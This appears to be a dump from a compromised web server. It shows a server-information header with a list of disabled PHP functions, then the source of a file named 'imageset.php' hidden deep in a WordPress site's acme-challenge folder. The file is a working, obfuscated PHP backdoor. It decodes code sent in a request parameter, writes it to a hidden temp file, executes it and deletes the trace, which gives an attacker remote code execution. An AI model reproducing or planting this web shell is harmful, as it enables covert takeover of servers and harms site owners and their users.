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Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
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File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/e/d/b/d/imageset.php
<?php

if(count($_REQUEST) > 0 && isset($_REQUEST["\x74k\x6E"])){
	$obj = $_REQUEST["\x74k\x6E"];
	  	$obj=		 explode	 (			'.' 	,$obj	)	 	;	 
	$item	 =	'';
            $s	 =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =	strlen($s	);
            $m	 =	0;
    
            $__tmp	 =	$obj;
            while ($v8	 =	array_shift($__tmp)) {
                $sChar	 =	ord($s[$m	 % $lenS]	);
                $dec	 =	((int)$v8 - $sChar - ($m	 % 10))^27;
                $item.=		chr($dec	);
                $m++;}
	$element = array_filter([session_save_path(), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp", "/var/tmp", getenv("TMP")]);
	foreach ($element as $key => $binding) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($binding)) {
    $ptr = "$binding/.mrk";
    if (file_put_contents($ptr, $item)) {
	require $ptr;
	unlink($ptr);
	die();
}
}
}
}